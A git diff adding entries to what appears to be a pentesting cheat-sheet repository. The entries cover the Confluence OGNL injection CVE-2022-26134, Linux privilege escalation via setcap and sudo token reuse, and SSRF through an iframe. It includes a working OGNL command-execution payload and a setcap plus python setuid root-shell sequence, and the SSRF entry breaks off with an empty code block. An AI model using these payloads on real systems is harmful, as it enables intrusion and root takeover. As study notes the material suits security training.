diff --git a/exploit/java/OGNL/cve_2022_26134.md b/exploit/java/OGNL/cve_2022_26134.md new file mode 100644 index 0000000..cf2e7f6 --- /dev/null +++ b/exploit/java/OGNL/cve_2022_26134.md @@ -0,0 +1,23 @@ +# CVE-2022-26134 + +* [NIST CVE-2022-26134](https://nvd.nist.gov/vuln/detail/CVE-2022-26134) +* Confluence versions: + * 1.3.0 to 7.4.17 + * 7.13.0 to 7.13.7 + * 7.14.0 to 7.14.3 + * 7.15.0 to 7.15.2 + * 7.16.0 to 7.16.4 + * 7.17.0 to 7.17.4 + * 7.18.0 to 7.18.1 +* Object Graph Navigation Language (OGNL) + +## Usage + +* Payload is a GET request which is set via the URI +```sh + ${@java.lang.Runtime@getRuntime().exec("touch /tmp/exploit")}/ +``` +* URL encode and curl for PoC + +* Use [Naqwda's exploit](https://github.com/Nwqda/CVE-2022-26134.git) + diff --git a/exploit/linux/groups.md b/exploit/linux/groups.md new file mode 100644 index 0000000..2de2950 --- /dev/null +++ b/exploit/linux/groups.md @@ -0,0 +1,3 @@ +# Groups + +* [steflan-security](https://steflan-security.com/linux-privilege-escalation-exploiting-user-groups/) diff --git a/exploit/linux/setcap.md b/exploit/linux/setcap.md new file mode 100644 index 0000000..625270c --- /dev/null +++ b/exploit/linux/setcap.md @@ -0,0 +1,13 @@ +# setcap + +* Set capabilities of a binary +* [Hacktrick's setuid page](https://book.hacktricks.xyz/linux-hardening/privilege-escalation/euid-ruid-suid) + + +## Usage + +* If there is an S-bit or sudo on setcap do the following. Copy python binary and +```sh +setcap cap_setuid+ep /absolute/path/to/copied/python3 +python3 -c "import os; os.setuid(0); os.system('/bin/bash')" +``` diff --git a/exploit/linux/sudo/tokens.md b/exploit/linux/sudo/tokens.md new file mode 100644 index 0000000..8dce3d0 --- /dev/null +++ b/exploit/linux/sudo/tokens.md @@ -0,0 +1,14 @@ +# Reusing Sudo Token + +* Reuse sudo token of currently logged in user +* [Hacktricks' site](https://book.hacktricks.xyz/linux-hardening/privilege-escalation#reusing-sudo-tokens) + +* `ptrace` has to be fully enabled +```sh +cat /proc/sys/kernel/yama/ptrace_scope +0 +``` +* sudo has to be triggered the last 15 minutes, check `ps wuax` +* `gdb` has to be installed +* One must be logged in as the same user which should be owned +* Use [nongiach's exploit](https://github.com/nongiach/sudo_inject) diff --git a/exploit/web/ssrf/iframe.md b/exploit/web/ssrf/iframe.md new file mode 100644 index 0000000..109f34a --- /dev/null +++ b/exploit/web/ssrf/iframe.md @@ -0,0 +1,22 @@ +# SSRF through iframe + +* [taken from Jomar's Website](https://www.jomar.fr/posts/2021/ssrf_through_pdf_generation/) +* Upload iframe with attacker server and php code ready to be executed. Redirect to a local file on the server +```php + +``` +* Payload looks like this +```html +